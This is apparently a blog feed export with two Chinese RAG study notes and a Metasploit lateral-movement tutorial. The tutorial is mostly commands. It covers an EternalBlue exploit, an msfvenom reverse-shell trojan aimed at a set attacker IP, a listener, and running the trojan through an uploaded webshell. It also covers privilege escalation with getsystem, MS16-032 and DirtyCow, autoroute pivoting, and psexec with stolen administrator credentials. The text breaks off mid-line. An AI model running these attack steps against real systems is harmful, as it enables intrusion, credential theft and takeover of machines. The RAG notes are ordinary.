<content type="html"><![CDATA[<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><blockquote><p>本节讲述了RAG基本的框架,以及基本原理</p></blockquote><h1 id="RAG(检索增强生成)工作原理"><a href="#RAG(检索增强生成)工作原理" class="headerlink" title="RAG(检索增强生成)工作原理"></a>RAG(检索增强生成)工作原理</h1><p>那么,RAG 系统是如何实现“参数化知识”与“非参数化知识”的结合呢?如下图所示,其架构主要通过两个阶段来完成这一过程:</p><p>(1)<strong>检索阶段:寻找“非参数化知识”</strong></p><ul><li><strong>知识向量化</strong>:<strong>嵌入模型(Embedding Model)</strong> 充当了“连接器”的角色。它将外部知识库编码为向量索引(Index),存入<strong>向量数据库</strong>。</li><li><strong>语义召回</strong>:当用户发起查询时,检索模块利用同样的嵌入模型将问题向量化,并通过<strong>相似度搜索(Similarity Search)</strong>,从海量数据中精准锁定与问题最相关的文档片段。</li></ul><p>(2)<strong>生成阶段:融合两种知识</strong></p><ul><li><strong>上下文整合</strong>:<strong>生成模块</strong>接收检索阶段送来的相关文档片段以及用户的原始问题。</li><li><strong>指令引导生成</strong>:该模块会遵循预设的 <strong>Prompt</strong> 指令,将上下文与问题有效整合,并引导 LLM(如 DeepSeek)进行可控的、有理有据的文本生成。</li></ul><p><img data-src="https://datawhalechina.github.io/all-in-rag/chapter1/images/1_1_1.svg" alt="RAG 双阶段架构示意图"></p><h1 id="为什么要使用-RAG?"><a href="#为什么要使用-RAG?" class="headerlink" title="为什么要使用 RAG?"></a>为什么要使用 RAG?</h1><p>在选择具体的技术路径时,一个重要的考量是成本与效益的平衡。通常,我们应优先选择对模型改动最小、成本最低的方案,所以技术选型路径往往遵循的顺序是<strong>提示词工程(Prompt Engineering) -> 检索增强生成(RAG) -> 微调(Fine-tuning)</strong>。</p><p>下面对这三个技术选型做一个<strong>通俗解释</strong>:</p><ol><li><p><strong>提示词工程</strong></p><ul><li><p><strong>做法</strong>:不改变模型本身,只是通过精心设计输入给模型的指令(提示词),比如把问题写更清楚、提供几个例子(Few-shot),引导模型直接输出想要的结果。</p></li><li><p><strong>优点</strong>:零成本、即时生效、无需技术资源。</p></li><li><p><strong>适用</strong>:简单任务、快速验证、模型已具备基础能力的情况。</p></li></ul></li><li><p><strong>检索增强生成</strong></p><ul><li><p><strong>做法</strong>:在让模型生成答案前,先从外部知识库(比如公司内部文档、数据库)里快速搜索相关信息,把这些信息“塞进”提示词里,让模型基于这些资料来回答。</p></li><li><p><strong>优点</strong>:比微调成本低、知识可更新、能解决“幻觉”(胡编乱造)问题。</p></li><li><p><strong>适用</strong>:问答系统、需要引用最新或私有知识、模型本身不擅长该领域但只需“查资料”就能解决的任务。</p></li></ul></li><li><p><strong>微调</strong></p><ul><li><p><strong>做法</strong>:用一批针对特定任务的“问题-答案”数据,对模型进行额外的训练,调整模型内部的参数,让它“学会”新的行为模式或风格。</p></li><li><p><strong>优点</strong>:效果最深、模型能真正改变行为逻辑、提升成功率最高。</p></li><li><p><strong>缺点</strong>:成本高(需要GPU算力)、需要准备高质量数据集、时间较长。</p></li><li><p><strong>适用</strong>:任务有特定格式、语调或复杂规则,且前两种方法都达不到效果要求时。</p></li></ul></li></ol><p>基于此,我们的选择路径就清晰了:</p><ul><li><strong>先尝试提示工程</strong>:通过精心设计提示词来引导模型,适用于任务简单、模型已有相关知识的场景。</li><li><strong>再选择 RAG</strong>:如果模型缺乏特定或实时知识而无法回答,则使用 RAG,通过外挂知识库为其提供上下文信息。</li><li><strong>最后考虑微调</strong>:当目标是改变模型“如何做”(行为/风格/格式)而不是“知道什么”(知识)时,微调是最终且最合适的选择。例如,让模型学会严格遵循某种独特的输出格式、模仿特定人物的对话风格,或者将极其复杂的指令“蒸馏”进模型权重中。</li></ul><p>RAG 的出现填补了<strong>通用模型与专业领域之间的鸿沟</strong>,它在解决如表 1-2 所示 LLM 局限时尤其有效:</p><div class="table-container"><table><thead><tr><th>问题</th><th>RAG的解决方案</th></tr></thead><tbody><tr><td><strong>静态知识局限</strong></td><td>实时检索外部知识库,支持动态更新</td></tr><tr><td><strong>幻觉(Hallucination)</strong></td><td>基于检索内容生成,错误率降低</td></tr><tr><td><strong>领域专业性不足</strong></td><td>引入领域特定知识库(如医疗/法律)</td></tr><tr><td><strong>数据隐私风险</strong></td><td>本地化部署知识库,避免敏感数据泄露</td></tr></tbody></table></div><h1 id="如何上手-RAG?"><a href="#如何上手-RAG?" class="headerlink" title="如何上手 RAG?"></a>如何上手 RAG?</h1><p>我这里需求是</p><ol><li><p>部署方便快捷</p></li><li><p>了解底层原理,后续要进行底层优化,所以需要编写代码</p></li></ol><p>所以我选择的部署方案是:</p><h2 id="核心技术栈选型表"><a href="#核心技术栈选型表" class="headerlink" title="核心技术栈选型表"></a>核心技术栈选型表</h2><p>为了兼顾“学习底层原理”和“部署极其方便”,本项目的技术栈如下:</p><div class="table-container"><table><thead><tr><th>模块</th><th>选型决定</th><th>为什么这么选?(决策逻辑)</th></tr></thead><tbody><tr><td><strong>开发框架</strong></td><td><strong>原生 Python 控制流</strong> + 辅以基础 LangChain</td><td><strong>不使用</strong> LangChain 的高级封装链(如 <code>RetrievalQA</code>)。我们将自己写 <code>for</code> 循环拼接 Prompt,自己调用 LLM,以此彻底搞懂上下文是如何被喂给大模型的。LangChain 只用来做苦力活(如文档读取和分块)。</td></tr><tr><td><strong>向量数据库</strong></td><td><strong>ChromaDB</strong> 或 <strong>FAISS</strong> (本地化方案)</td><td><strong>极其轻量</strong> 它们不需要像 MySQL 或 Redis 那样单独启动一个数据库服务进程。只需 <code>pip install chromadb</code>,向量数据会直接以 SQLite 文件形式保存在你的项目文件夹里。迁移和部署只需打包整个文件夹即可。</td></tr><tr><td><strong>模型接入</strong></td><td><strong>云端 API</strong> (推荐 DeepSeek / 智谱 / 阿里)</td><td>放弃本地部署开源大模型(如 Llama3),因为那需要极其昂贵的 GPU 算力,且部署极不方便。调用国产大模型 API 速度快、成本低(几乎免费),让你的应用可以部署在任何一台便宜的 1 核 2G 轻量云服务器上。</td></tr><tr><td><strong>后端服务</strong></td><td><strong>FastAPI</strong></td><td>Python 生态中最快、最现代的 Web 框架,几行代码就能把你的 RAG 核心逻辑包装成流式输出 (SSE) 的 API 提供给前端。</td></tr><tr><td><strong>评估工具</strong></td><td><strong>Ragas</strong> (后期引入)</td><td>纯代码框架,方便我们在本地用脚本批量跑测试,量化调整 Chunk Size 和 Top-K 带来的影响。</td></tr></tbody></table></div><p>具体环境配置留到下一节再统一讲述</p><p>如果只想快速部署项目的可以选择一个<strong>开源架构dify</strong>等等来快速落地项目</p><h1 id="RAG技术前景"><a href="#RAG技术前景" class="headerlink" title="RAG技术前景"></a>RAG技术前景</h1><p>虽然随着模型上下文的暴涨,显得rag技术好像不如提示词一样简单快捷,但是 <strong>RAG 已死</strong>是一个伪命题。</p><p>相反,<strong>RAG 作为一个概念活得很好</strong>,它正在像 Transformer 一样,成为一个不断吸收新技术、不断进化的基础架构范式。它的生命力,正在于它的“面目全非”和“包罗万象”。而<strong>本教程的目标,就是绘制出这张描绘 RAG 全貌的清晰地图,当我们可以解构它的每一个模块、理解它的每一种可能性时,RAG 也好,LKE 也罢,这些都无关紧要</strong>。我们要做的就是通过 RAG 这道经典例题来学习和拓展(将 LLM 的内在参数化知识与外部非参数化知识相结合)这类题型的解题思路。</p><p>下一节我们将讲述具体的环境配置过程,从电脑上配置一个rag基础环境</p>]]></content>
<summary type="html"><h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><blockquote>
<p>本节讲述了RAG基本的框架,以及基本原理</p>
</blockquote>
<h1 id="RAG(检索</summary>
<category term="AI" scheme="http://example.com/categories/AI/"/>
<category term="开发" scheme="http://example.com/categories/AI/%E5%BC%80%E5%8F%91/"/>
<category term="RAG" scheme="http://example.com/categories/AI/%E5%BC%80%E5%8F%91/RAG/"/>
<category term="基础知识" scheme="http://example.com/tags/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
<category term="AI开发" scheme="http://example.com/tags/AI%E5%BC%80%E5%8F%91/"/>
<category term="RAG" scheme="http://example.com/tags/RAG/"/>
</entry>
<entry>
<title>RAG底层原理1:总体学习框架</title>
<link href="http://example.com/2026/04/25/AI/code/RAG/RAG%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%861_%E6%80%BB%E4%BD%93%E5%AD%A6%E4%B9%A0%E6%A1%86%E6%9E%B6/"/>
<id>http://example.com/2026/04/25/AI/code/RAG/RAG%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%861_%E6%80%BB%E4%BD%93%E5%AD%A6%E4%B9%A0%E6%A1%86%E6%9E%B6/</id>
<published>2026-04-25T02:00:00.000Z</published>
<updated>2026-04-27T13:26:07.136Z</updated>
<content type="html"><![CDATA[<h1 id="Datawhale-All-in-RAG-学习笔记与底层原理全解"><a href="#Datawhale-All-in-RAG-学习笔记与底层原理全解" class="headerlink" title="Datawhale All-in-RAG 学习笔记与底层原理全解"></a>Datawhale All-in-RAG 学习笔记与底层原理全解</h1><blockquote><p><strong>前言</strong>:本系列笔记是我跟随国内顶级开源社区 Datawhale 的 <code>all-in-rag</code> 教程进行系统学习的沉淀。我将剥离繁杂的业务代码,重点记录 RAG 架构中<strong>数据加载、切块算法、向量引擎、高级召回策略以及系统评估</strong>的底层逻辑。<br>目标是:不仅会用,更懂底层的数学与算法机制。</p></blockquote><h1 id="笔记大纲"><a href="#笔记大纲" class="headerlink" title="笔记大纲"></a>笔记大纲</h1><h2 id="模块一:RAG-理论基石"><a href="#模块一:RAG-理论基石" class="headerlink" title="模块一:RAG 理论基石"></a>模块一:RAG 理论基石</h2><p>对应教程:RAG 核心概念、技术原理和应用场景</p><p>对应</p><ul><li><a href="/2026/04/25/AI/code/RAG/RAG%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%862_RAG%E7%90%86%E8%AE%BA%E5%9F%BA%E7%9F%B3/" title="RAG底层原理2:RAG 理论基石">RAG底层原理2: RAG 理论基石</a></li><li><a href="/2026/04/25/AI/code/RAG/RAG%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%863_%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E4%B8%8E%E5%90%AF%E5%8A%A8/" title="RAG底层原理3:环境配置与启动">RAG底层原理3: 环境配置与启动</a></li></ul><h2 id="模块二:数据清洗与分块策略-Data-Processing"><a href="#模块二:数据清洗与分块策略-Data-Processing" class="headerlink" title="模块二:数据清洗与分块策略 (Data Processing)"></a>模块二:数据清洗与分块策略 (Data Processing)</h2><p>对应教程:从数据加载、清洗到文本分块的完整数据准备流程</p><p><strong>[02-01] 非结构化数据接入与解析难题 (Data Loaders)</strong></p><ul><li><p>文档加载器的三大核心任务:提取纯文本、抽取元数据 (Metadata)、整理为统一结构。</p></li><li><p>PDF、Word、HTML 等复杂格式的清洗策略与表格/图片防丢失技巧。</p></li></ul><p><strong>[02-02] 文本切块 (Chunking) 的算法机制</strong></p><ul><li><p>字符分割 (Character Text Splitting) 与递归字符分割 (Recursive) 的源码逻辑解析。</p></li><li><p>什么是 Chunk Size 和 Overlap?它们对最终 RAG 召回精度的影响。</p></li><li><p>_进阶思考:基于文档特定结构(如 Markdown 标题树)的切块优势。_</p></li></ul><h2 id="模块三:向量空间与索引优化-Indexing-amp-Embedding"><a href="#模块三:向量空间与索引优化-Indexing-amp-Embedding" class="headerlink" title="模块三:向量空间与索引优化 (Indexing & Embedding)"></a>模块三:向量空间与索引优化 (Indexing & Embedding)</h2><p>对应教程:向量嵌入、多模态嵌入、向量数据库构建及索引优化技术</p><p><strong>[03-01] 嵌入模型与多模态映射 (Embeddings & Multi-modal)</strong></p><ul><li><p>词嵌入本质:文本如何被映射到高维稠密向量空间?</p></li><li><p>距离度量准则:余弦相似度 (Cosine) 与内积的几何意义。</p></li><li><p>多模态嵌入:如何把图片和文本映射到同一个向量空间以实现“以文搜图”?</p></li></ul><p><strong>[03-02] 向量数据库与底层索引原理 (Vector Databases)</strong></p><ul><li><p>为什么向量检索不能用传统的 B+ 树或 Hash 表?</p></li><li><p>核心索引算法:HNSW (分层导航小世界) 如何实现 $O(\log N)$ 的极速检索。</p></li></ul><p><strong>[03-03] 结构化元数据与索引优化 (Index Optimization)</strong></p><ul><li><p>为什么要为文本块附加 Metadata(如时间、作者、章节名)?</p></li><li><p>元数据过滤 (Metadata Filtering):先通过结构化条件缩小范围,再进行向量检索的提效策略。</p></li></ul><h2 id="模块四:检索技术进阶-Advanced-Retrieval"><a href="#模块四:检索技术进阶-Advanced-Retrieval" class="headerlink" title="模块四:检索技术进阶 (Advanced Retrieval)"></a>模块四:检索技术进阶 (Advanced Retrieval)</h2><p>对应教程:混合检索、查询构建、Text2SQL等高级检索技术</p><p><strong>[04-01] 双路融合:混合检索架构 (Hybrid Search)</strong></p><ul><li><p>稀疏检索算法基础:BM25 的词频与文档长度惩罚机制。</p></li><li><p>为什么向量检索会输给关键词?(精确匹配的短板)。</p></li><li><p>融合算法机制:RRF (倒数秩融合算法) 如何将不同维度的得分进行无量纲合并。</p></li></ul><p><strong>[04-02] 查询改写与构建 (Query Transformation/Construction)</strong></p><ul><li><p>基于 LLM 的提问改写:如何修复用户极其简短或带有指代(如“他”、“昨天”)的查询?</p></li><li><p>Multi-Query 策略:一次生成多个相近查询并发检索的底层逻辑。</p></li></ul><p><strong>[04-03] 结构化检索引擎:Text2SQL</strong></p><ul><li>当用户问题涉及数据库统计运算时,如何让 LLM 直接生成 SQL 而不是做文本相似度匹配?</li></ul><h2 id="模块五:生成集成与严谨评估-Generation-amp-Evaluation"><a href="#模块五:生成集成与严谨评估-Generation-amp-Evaluation" class="headerlink" title="模块五:生成集成与严谨评估 (Generation & Evaluation)"></a>模块五:生成集成与严谨评估 (Generation & Evaluation)</h2><p>对应教程:格式化生成、系统评估与优化方法</p><p><strong>[05-01] 检索后处理与生成集成 (Generation System)</strong></p><ul><li><p>Prompt Engineering 进阶:如何将检索到的多段背景知识与用户提问完美拼接?</p></li><li><p>结构化格式输出(让 LLM 稳定输出 JSON/特定格式的技巧)。</p></li></ul><p><strong>[05-02] 量化指标:RAG 系统评估方法论 (Evaluation)</strong></p><ul><li><p>RAG 系统的三大核心痛点:无端联想、查非所问、答非所问。</p></li><li><p>基于大模型裁判 (LLM-as-a-Judge) 的自动化评估指标:</p><ul><li><p>忠实度 (Faithfulness)</p></li><li><p>答案相关性 (Answer Relevance)</p></li><li><p>上下文精准度 (Context Precision)</p></li></ul></li></ul><h2 id="模块六:拓展架构与实战沉淀-Extra-amp-Practice"><a href="#模块六:拓展架构与实战沉淀-Extra-amp-Practice" class="headerlink" title="模块六:拓展架构与实战沉淀 (Extra & Practice)"></a>模块六:拓展架构与实战沉淀 (Extra & Practice)</h2><p>对应教程:图 RAG 及具体项目实战经验</p><p><strong>[06-01] 图架构的引入:Graph RAG 初探</strong></p><ul><li><p>图数据库入门:实体 (Node) 与关系 (Edge) 的抽象。</p></li><li><p>从单纯的“文本相似度”升级为基于图谱的“全局关联逻辑推理”。</p></li></ul><p><strong>[06-02] 实战踩坑录 (Project Bad Cases & Solutions)</strong></p><ul><li>_(预留空间:记录你在运行 Datawhale 教程项目时遇到的典型报错、代码兼容性问题以及调参心得)_</li></ul>]]></content>
<summary type="html"><h1 id="Datawhale-All-in-RAG-学习笔记与底层原理全解"><a href="#Datawhale-All-in-RAG-学习笔记与底层原理全解" class="headerlink" title="Datawhale All-in-RAG 学习笔记与底层</summary>
<category term="AI" scheme="http://example.com/categories/AI/"/>
<category term="开发" scheme="http://example.com/categories/AI/%E5%BC%80%E5%8F%91/"/>
<category term="RAG" scheme="http://example.com/categories/AI/%E5%BC%80%E5%8F%91/RAG/"/>
<category term="基础知识" scheme="http://example.com/tags/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
<category term="AI开发" scheme="http://example.com/tags/AI%E5%BC%80%E5%8F%91/"/>
<category term="RAG" scheme="http://example.com/tags/RAG/"/>
</entry>
<entry>
<title>内网横向5:横向全自动工具MSF</title>
<link href="http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%915_%E6%A8%AA%E5%90%91%E5%85%A8%E8%87%AA%E5%8A%A8%E5%B7%A5%E5%85%B7/"/>
<id>http://example.com/2026/03/21/ISW/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%8E%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%915_%E6%A8%AA%E5%90%91%E5%85%A8%E8%87%AA%E5%8A%A8%E5%B7%A5%E5%85%B7/</id>
<published>2026-03-21T13:30:00.000Z</published>
<updated>2026-03-21T15:26:22.858Z</updated>
<content type="html"><![CDATA[<h1 id="0x01-原理简述"><a href="#0x01-原理简述" class="headerlink" title="0x01 原理简述"></a>0x01 原理简述</h1><p>作者把提权到横向全都封装好了,你只需要在它原生的命令行做操作就行了</p><p>本工具从linux到windows均可使用并提权,</p><h1 id="0x02-核心专有名词解析"><a href="#0x02-核心专有名词解析" class="headerlink" title="0x02 核心专有名词解析"></a>0x02 核心专有名词解析</h1><p>在 MSF 的终端里,你必须理解以下三个核心组件的组合逻辑:</p><ol><li><p><strong>Exploit</strong></p><ul><li><p><strong>作用</strong>:利用目标系统存在的某个具体漏洞(如 MS17-010 SMB 溢出漏洞),在目标内存中撕开一个口子。</p></li><li><p><strong>示例</strong>:<code>exploit/windows/smb/ms17_010_eternalblue</code></p></li></ul></li><li><p><strong>Payload</strong></p><ul><li><p><strong>作用</strong>:口子撕开后,实际在目标机器上执行的恶意代码(通常是一个反弹 Shell)。</p></li><li><p><strong>示例</strong>:<code>windows/x64/meterpreter/reverse_tcp</code></p></li></ul></li><li><p><strong>Meterpreter</strong></p><ul><li><strong>作用</strong>:MSF 独创的高级纯内存 Shell。比普通的 CMD/Bash 强大无数倍,自带抓密码、键盘记录、内网路由穿透等功能。</li></ul></li></ol><h1 id="0x03-靶机一键击杀标准工作流-SOP"><a href="#0x03-靶机一键击杀标准工作流-SOP" class="headerlink" title="0x03 靶机一键击杀标准工作流 (SOP)"></a>0x03 靶机一键击杀标准工作流 (SOP)</h1><p>假设你已经用 Nmap 扫出某台内网机器 <code><目标内网IP></code> 存在 MS17-010 漏洞。打开你的 Ubuntu 终端,执行以下连招:</p><h2 id="Step-1-启动"><a href="#Step-1-启动" class="headerlink" title="Step 1: 启动"></a>Step 1: 启动</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 启动 MSF 控制台 (-q 代表安静模式,不显示花哨的字符画启动图)</span></span><br><span class="line">msfconsole -q</span><br></pre></td></tr></table></figure><h2 id="Step-2-检索漏洞exp"><a href="#Step-2-检索漏洞exp" class="headerlink" title="Step 2: 检索漏洞exp"></a>Step 2: 检索漏洞exp</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 搜索漏洞关键字</span></span><br><span class="line">search ms17-010</span><br><span class="line"></span><br><span class="line"><span class="comment"># 装载指定的 Exploit 模块 (可以使用 search 结果列表中的数字序号,如 use 0)</span></span><br><span class="line">use exploit/windows/smb/ms17_010_eternalblue</span><br></pre></td></tr></table></figure><h2 id="Step-3-配置攻击参数"><a href="#Step-3-配置攻击参数" class="headerlink" title="Step 3: 配置攻击参数"></a>Step 3: 配置攻击参数</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查看当前模块需要配置哪些参数 (重点看 Required 栏为 yes 的项)</span></span><br><span class="line">show options</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置靶机 IP (RHOSTS = Remote Hosts)</span></span><br><span class="line"><span class="built_in">set</span> RHOSTS <目标内网IP></span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置攻击机 IP (LHOST = Local Host,用于接收反弹 Shell)</span></span><br><span class="line"><span class="built_in">set</span> LHOST <攻击机IP></span><br><span class="line"></span><br><span class="line"><span class="comment"># (可选) 指定 Payload,通常 MSF 会自动为你选一个合适的 Meterpreter</span></span><br><span class="line"><span class="built_in">set</span> PAYLOAD windows/x64/meterpreter/reverse_tcp</span><br></pre></td></tr></table></figure><h2 id="Step-4-运行"><a href="#Step-4-运行" class="headerlink" title="Step 4: 运行"></a>Step 4: 运行</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#执行攻击</span></span><br><span class="line">exploit</span><br></pre></td></tr></table></figure><ul><li><strong>结果</strong>:如果屏幕最后输出 <code>WIN</code> 并且出现 <code>meterpreter ></code> 提示符,说明漏洞利用成功,你已接管该机器。</li></ul><h1 id="0x05-联动打法:从普通-WebShell-升级到-Meterpreter"><a href="#0x05-联动打法:从普通-WebShell-升级到-Meterpreter" class="headerlink" title="0x05 联动打法:从普通 WebShell 升级到 Meterpreter"></a>0x05 联动打法:从普通 WebShell 升级到 Meterpreter</h1><p><strong>真实场景</strong>:你没有用 MSF 的漏洞模块,而是通过网页上传漏洞拿到了一个蚁剑/冰蝎的 WebShell。此时你想把这个普通的 WebShell 升级成 MSF 的 <code>meterpreter</code> 以便后续提权。</p><h2 id="Step-1-制造独立弹头-msfvenom"><a href="#Step-1-制造独立弹头-msfvenom" class="headerlink" title="Step 1: 制造独立弹头 (msfvenom)"></a>Step 1: 制造独立弹头 (msfvenom)</h2><p>不要进 <code>msfconsole</code>,直接在你的 Ubuntu 终端里用 MSF 的“兵工厂”命令生成一个木马文件:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 生成 Windows 平台的 meterpreter 木马 (假设你的 Ubuntu IP 是 10.243.120.200)</span></span><br><span class="line">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.243.120.200 LPORT=4444 -f exe -o shell.exe</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果靶机是 Linux,则生成 ELF 格式:</span></span><br><span class="line"><span class="comment"># msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.243.120.200 LPORT=4444 -f elf -o shell.elf</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Step-2-开启万能接收器-multi-handler"><a href="#Step-2-开启万能接收器-multi-handler" class="headerlink" title="Step 2: 开启万能接收器 (multi/handler)"></a>Step 2: 开启万能接收器 (multi/handler)</h2><p>进入 MSF 控制台,启动一个专门用来“接客”的监听模块:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">msfconsole -q</span><br><span class="line">msf6 > use exploit/multi/handler</span><br><span class="line"></span><br><span class="line"><span class="comment"># 这里的 payload 必须和你在 msfvenom 里写的一模一样</span></span><br><span class="line">msf6 > <span class="built_in">set</span> payload windows/x64/meterpreter/reverse_tcp</span><br><span class="line">msf6 > <span class="built_in">set</span> LHOST 10.243.120.200</span><br><span class="line">msf6 > <span class="built_in">set</span> LPORT 4444</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开始监听 (就像 nc -lvnp 4444 一样,进入等待状态)</span></span><br><span class="line">msf6 > exploit</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Step-3-在-WebShell-中引爆弹头"><a href="#Step-3-在-WebShell-中引爆弹头" class="headerlink" title="Step 3: 在 WebShell 中引爆弹头"></a>Step 3: 在 WebShell 中引爆弹头</h2><ol><li><p>用蚁剑/冰蝎把刚才生成的 <code>shell.exe</code> 上传到靶机的 <code>C:\Windows\Temp\</code> 目录下。</p></li><li><p>在蚁剑的虚拟终端里执行它:<code>C:\Windows\Temp\shell.exe</code>。</p></li><li><p>切回你的 Ubuntu 窗口,你会发现万能接收器成功捕获连接,尊贵的 <code>meterpreter ></code> 提示符出现了</p></li></ol><h1 id="0x06-双端本地提权"><a href="#0x06-双端本地提权" class="headerlink" title="0x06 双端本地提权"></a>0x06 双端本地提权</h1><p>拿到普通的 <code>meterpreter</code> 会话后,如果权限不够(比如只是个 Web 用户),MSF 内置了极其强大的提权库,<strong>全平台通杀</strong>。</p><p>首先,把当前的会话挂起到后台: <code>meterpreter > background</code> (记住返回的 Session ID,假设是 1)</p><h2 id="方案-A:Windows-提权"><a href="#方案-A:Windows-提权" class="headerlink" title="方案 A:Windows 提权"></a>方案 A:Windows 提权</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 尝试一键智能提权 (返回 meterpreter 后执行)</span></span><br><span class="line">meterpreter > getsystem</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果失败,使用本地内核漏洞模块打 SYSTEM (例如 MS16-032)</span></span><br><span class="line">msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc</span><br><span class="line">msf6 > <span class="built_in">set</span> SESSION 1</span><br><span class="line">msf6 > exploit</span><br></pre></td></tr></table></figure><h2 id="方案-B:Linux-提权"><a href="#方案-B:Linux-提权" class="headerlink" title="方案 B:Linux 提权"></a>方案 B:Linux 提权</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用著名的 DirtyCow (脏牛) 或者其他 Linux 本地提权模块</span></span><br><span class="line">msf6 > use exploit/linux/local/dirtycow</span><br><span class="line">msf6 > <span class="built_in">set</span> SESSION 1</span><br><span class="line">msf6 > exploit</span><br></pre></td></tr></table></figure><h1 id="0x07-MSF-横向移动实战演练-Lateral-Movement"><a href="#0x07-MSF-横向移动实战演练-Lateral-Movement" class="headerlink" title="0x07 MSF 横向移动实战演练 (Lateral Movement)"></a>0x07 MSF 横向移动实战演练 (Lateral Movement)</h1><p><strong>这是 MSF 真正的灵魂所在!</strong> 假设你已经拿下了处于边界的“跳板机 A”,现在你想打处于内网深处的“靶机 B (192.168.10.20)”。</p><h2 id="第一步:把跳板机变成“路由器”-Autoroute"><a href="#第一步:把跳板机变成“路由器”-Autoroute" class="headerlink" title="第一步:把跳板机变成“路由器” (Autoroute)"></a>第一步:把跳板机变成“路由器” (Autoroute)</h2><p>在跳板机 A 的 <code>meterpreter</code> 会话中,将其挂起到后台,然后添加自动路由:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 假设跳板机 A 的会话是 Session 1</span></span><br><span class="line">msf6 > use post/multi/manage/autoroute</span><br><span class="line">msf6 > <span class="built_in">set</span> SESSION 1</span><br><span class="line">msf6 > run</span><br></pre></td></tr></table></figure><ul><li><strong>原理解析</strong>:这步做完后,你 MSF 发出的所有打向 <code>192.168.10.x</code> 的攻击流量,都会自动钻进 Session 1 对应的跳板机里,然后从跳板机的内网网卡发出去。</li></ul><h2 id="第二步:隔山打牛-直接攻击靶机-B"><a href="#第二步:隔山打牛-直接攻击靶机-B" class="headerlink" title="第二步:隔山打牛 (直接攻击靶机 B)"></a>第二步:隔山打牛 (直接攻击靶机 B)</h2><p>现在 MSF 已经和内网通了。如果之前在跳板机 A 上抓到了管理员的账密/哈希,我们直接使用 MSF 的 <code>psexec</code> 模块进行横向击杀!</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 加载横向移动专用的 psexec 模块</span></span><br><span class="line">msf6 > use exploit/windows/smb/psexec</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置内网目标 (靶机 B 的 IP)</span></span><br><span class="line">msf6 > <span class="built_in">set</span> RHOSTS 192.168.10.20</span><br><span class="line"></span><br><span class="line"><span class="comment"># 填入你窃取来的管理员账号和密码 (或 Hash)</span></span><br><span class="line">msf6 > <span class="built_in">set</span> SMBUser Administrator</span><br><span class="line">msf6 > <span class="built_in">set</span> SMBPass Admin@123</span><br><span class="line"></span><br><span class="line"><span class="comment"># 【关键】因为是打内网机器,反弹 Shell 必须弹给跳板机,而不是你的 Ubuntu!</span></span><br><span class="line"><span class="comment"># 将弹头设置为正向连接 (Bind 